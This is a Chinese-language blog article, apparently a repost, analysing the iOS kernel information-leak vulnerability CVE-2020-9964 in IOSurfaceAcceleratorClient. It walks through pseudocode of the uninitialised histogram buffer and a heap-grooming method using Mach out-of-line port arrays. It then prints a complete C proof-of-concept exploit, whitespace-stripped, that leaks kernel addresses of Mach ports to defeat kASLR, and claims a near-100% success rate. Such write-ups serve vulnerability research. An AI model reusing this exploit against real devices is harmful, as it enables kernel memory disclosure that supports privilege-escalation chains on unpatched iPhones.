如何进行iOS中的信息泄露漏洞CVE-2020-9964分析
如何进行iOS中的信息泄露漏洞CVE-2020-9964分析
今天就跟大家聊聊有关如何进行iOS中的信息泄露漏洞CVE-2020-9964分析，可能很多人都不太了解，为了让大家更加了解，小编给大家总结了以下内容，希望大家根据这篇文章可以有所收获。
写在前面的话
2020年09月17日凌晨，苹果终于给所有用户推送了iOS14正式版，并同时发布了iOS 14.0的安全内容更新。阅读该公告后，你将会看到列表中的一个漏洞CVE-2020-9964，这是一个存在于IOSurfaceAccelerator中的安全漏洞。苹果将这个漏洞描述为：“本地用户将能够利用该漏洞读取内核内存数据，这是一个内存初始化问题。”下面将跟大家介绍有关该漏洞的详细信息。
IOSurfaceAcceleratorClient::user_get_histogram
IOSurfaceAcceleratorClient不仅是AppleM2ScalerCSCDriver IOService的用户客户端接口，也是为数不多的能够在App沙盒中打开的用户客户端。在这里，我们感兴趣的其实是这个用户客户端中的一个特定外部方法，也就是方法9-IOSurfaceAcceleratorClient::user_get_histogram。IOSurfaceAcceleratorClient在这个外部方法中使用了遗留的IOUserClient::getTargetAndMethodForIndex，方法9的IOExternalMethod描述符如下所示：
{IOSurfaceAcceleratorClient::user_get_histogram,kIOUCStructIStructO,0x8,0x0}
在这里，我们可以看到user_get_histogram只会接收输入数据的八个字节，并且不会返回任何的输出数据，接下来我们一起来看一看这个方法的实现代码，下面给出的是带注释的伪代码：
IOReturnIOSurfaceAcceleratorClient::user_get_histogram(IOSurfaceAcceleratorClient*this,void*input,uint64_tinputSize){IOReturnresult;if(this->calledFromKernel){...}else{IOMemoryDescriptor*memDesc=IOMemoryDescriptor::withAddressRange(*(mach_vm_address_t*)input,this->histogramSize,kIODirectionOutIn,this->task);if(memDesc){ret=memDesc->prepare(kIODirectionNone);if(ret){...}else{ret=AppleM2ScalerCSCDriver::get_histogram(this->fOwner,this,memDesc);memDesc->complete(kIODirectionNone);}memDesc->release();}else{ret=kIOReturnNoMemory;}}returnret;}
我们可以看到其中包含的八个字节的结构化输入数据，它将会被设置为一个用户空间指针，AppleM2ScalerCSCDriver::get_histogram将能够利用该指针实现数据的写入或读取。实际上，get_histogram调用get_histogram_gated的过程如下所示：
IOReturnAppleM2ScalerCSCDriver::get_histogram_gated(AppleM2ScalerCSCDriver*this,IOSurfaceAcceleratorClient*client,IOMemoryDescriptor*memDesc){IOReturnresult;if(memDesc->writeBytes(0,client->histogramBuffer,client->histogramSize)==client->histogramSize)result=kIOReturnSuccess;elseresult=kIOReturnIOError;returnresult;}
我们可以看到，client->histogramBuffer被写回至了用户空间，那么现在问题来了，client->histogramBuffer是什么鬼？它是在哪里被初始化的？其中的数据又是从哪里来的？
IOSurfaceAcceleratorClient::histogramBuffer
上述问题的答案我们得在IOSurfaceAcceleratorClient::initClient的身上去寻找，相关代码如下：
boolIOSurfaceAcceleratorClient::initClient(IOSurfaceAcceleratorClient*this,AppleM2ScalerCSCDriver*owner,inttype,AppleM2ScalerCSCHal*hal){...if(...){...if(...){size_tbufferSize=...;this->histogramSize=bufferSize;this->histogramBuffer=(void*)IOMalloc(bufferSize);IOAsynchronousScheduler*scheduler=IOAsynchronousScheduler::ioAsynchronousScheduler(0);this->scheduler=scheduler;if(scheduler)returntrue;...}else{...}}else{...}this->stopClient();returnfalse;}
这里有一个很可疑的地方，代码为histogramBuffer分配了空间，但并未填充数据，而IOMalloc也没有给内存填充0，因此这里的histogramBuffer相当于完全没有初始化的。于是我尝试自己去调用这个方法，结果我查看到了大量的0xdeadbeef，说明这是一段未初始化的内存。
漏洞利用
这就非常棒了，因为我们可以将未初始化的内存泄露至用户空间，但我们应该怎么做呢？实际上，像这样的信息泄露问题本身相对还算是不严重的，但对于利用其他的内存崩溃漏洞时它就至关重要了。通常在利用这类漏洞时，首先需要找到匹配的端口地址，这也是我首要的目标。值得一提的是，这个漏洞也可以用来攻击kASLR。
在利用该漏洞时，我选择的目标分配地址时Mach消息out-of-line端口数组。在发送Mach消息是，我们可以将消息标记为“complex”。这将告诉内核下列Header并非元数据，而是描述符后接消息主体“body”。其中一个描述符为mach_msg_ool_ports_descriptor_t，它就是其中一个需要插入到接收任务中的out-of-line端口数组。
内存在接收上述信息时，内核可以通过创建一个包含指针（指向数组中每一个端口）的缓冲区来处理这些OOL端口（如果你感兴趣的话，可以查看ipc_kmsg_copyin_ool_ports_descriptor中的代码，我们在此不对其进行赘述）。这样一来，我们就可以使用它来触发任何大小的内核分配，其中将包含我们所要读取或提取的数据，并在任何时候进行随意释放。
高级漏洞利用流
使用OOL端口数组发送跟client->histogramSize大小相同的消息内容；
通过接收消息来释放这些数组；
打开一个IOSurfaceAcceleratorClient连接，分配histogramBuffer，该部分现在将会被其中部分被释放的端口数组所覆盖；
调用外部方法9，读取指向用户空间的端口指针；
搞定！
漏洞利用代码
针对该漏洞的漏洞利用代码如下：
#include<stdlib.h>#include<assert.h>#include<stdio.h>#include<mach/mach.h>#include<IOKit/IOKitLib.h>#if0AppleM2ScalerCSCDriverInfoleak:IOSurfaceAcceleratorClient::user_get_histogramtakesauserspacepointerandwriteshistogramdatabacktothataddress.IOSurfaceAcceleratorClient::initClientallocatesthishistogrambuffer,butdoesnotzerothememory.WhentheexternalmethodIOSurfaceAcceleratorClient::user_get_histogramiscalled,thisuninitialisedmemoryisthensentbacktouserspace.ThisvulnerabilityisreachablefromwithintheappsandboxoniOS.Belowisaproof-of-conceptexploitwhichutilisesthisvulnerabilitytoleaktheaddressofanymachportthatthecallingprocessholdsasend-rightto.Otherkernelobjectaddressescanbeobtainedusingthisvulnerabilityinsimilarways.#endif#defineASSERT_KR(kr)do{\if(kr!=KERN_SUCCESS){\fprintf(stderr,"kr:%s(0x%x)\n",mach_error_string(kr),kr);\exit(EXIT_FAILURE);\}\}while(0)#defineLEAK_SIZE0x300#defineSPRAY_COUNT0x80mach_port_tcreate_port(void){mach_port_tp=MACH_PORT_NULL;mach_port_allocate(mach_task_self(),MACH_PORT_RIGHT_RECEIVE,&p);mach_port_insert_right(mach_task_self(),p,p,MACH_MSG_TYPE_MAKE_SEND);returnp;}io_connect_topen_client(constchar*serviceName,uint32_ttype){io_connect_tclient=MACH_PORT_NULL;io_service_tservice=IOServiceGetMatchingService(kIOMasterPortDefault,IOServiceMatching(serviceName));assert(service!=MACH_PORT_NULL);IOServiceOpen(service,mach_task_self(),0,&client);assert(client!=MACH_PORT_NULL);IOObjectRelease(service);returnclient;}voidpush_to_freelist(mach_port_tport){uint32_tportCount=LEAK_SIZE/sizeof(void*);struct{mach_msg_header_theader;mach_msg_body_tbody;mach_msg_ool_ports_descriptor_tool_ports;}msg={{0}};mach_port_t*ports=(mach_port_t*)malloc(portCount*sizeof(mach_port_t));for(uint32_ti=0;i<portCount;i++)ports[i]=port;size_tmsgSize=sizeof(msg);msg.header.msgh_bits=MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND,0,0,MACH_MSGH_BITS_COMPLEX);msg.header.msgh_size=msgSize;msg.header.msgh_id='OOLP';msg.body.msgh_descriptor_count=1;msg.ool_ports.type=MACH_MSG_OOL_PORTS_DESCRIPTOR;msg.ool_ports.address=(void*)ports;msg.ool_ports.count=portCount;msg.ool_ports.deallocate=false;msg.ool_ports.copy=MACH_MSG_PHYSICAL_COPY;msg.ool_ports.disposition=MACH_MSG_TYPE_MAKE_SEND;mach_port_trcvPorts[SPRAY_COUNT];for(uint32_ti=0;i<SPRAY_COUNT;i++){mach_port_trcvPort=create_port();rcvPorts[i]=rcvPort;msg.header.msgh_remote_port=rcvPort;//triggerkernelallocationofportarray:kern_return_tkr=mach_msg(&msg.header,MACH_SEND_MSG|MACH_MSG_OPTION_NONE,(mach_msg_size_t)msgSize,0,MACH_PORT_NULL,MACH_MSG_TIMEOUT_NONE,MACH_PORT_NULL);ASSERT_KR(kr);}for(uint32_ti=1;i<SPRAY_COUNT;i++)mach_port_destroy(mach_task_self(),rcvPorts[i]);free((void*)ports);}//Theactualvulnerability:voidleak_bytes(void*buffer){io_connect_tclient=open_client("AppleM2ScalerCSCDriver",0);kern_return_tkr=IOConnectCallStructMethod(client,9,(uint64_t*)&buffer,8,NULL,NULL);ASSERT_KR(kr);IOServiceClose(client);}uint64_tfind_port_addr(mach_port_tport){uint64_t*leak=(uint64_t*)malloc(LEAK_SIZE);printf("Preparingheap\n");push_to_freelist(port);printf("Leaking0x%zxbytes\n",(size_t)LEAK_SIZE);leak_bytes(leak);uint64_taddr=leak[1];free(leak);returnaddr;}intmain(intargc,char*argv[],char*envp[]){mach_port_tport=create_port();uint64_tport_addr=find_port_addr(port);printf("Leakedportaddress:%p\n",(void*)port_addr);return0;}
我的这份漏洞利用代码成功率已经接近100%了，如果漏洞利用不成功的话，请重新运行代码进行尝试。
看完上述内容，你们对如何进行iOS中的信息泄露漏洞CVE-2020-9964分析有进一步的了解吗？如果还想了解更多知识或者相关内容，请关注恰卡编程网行业资讯频道，感谢大家的支持。
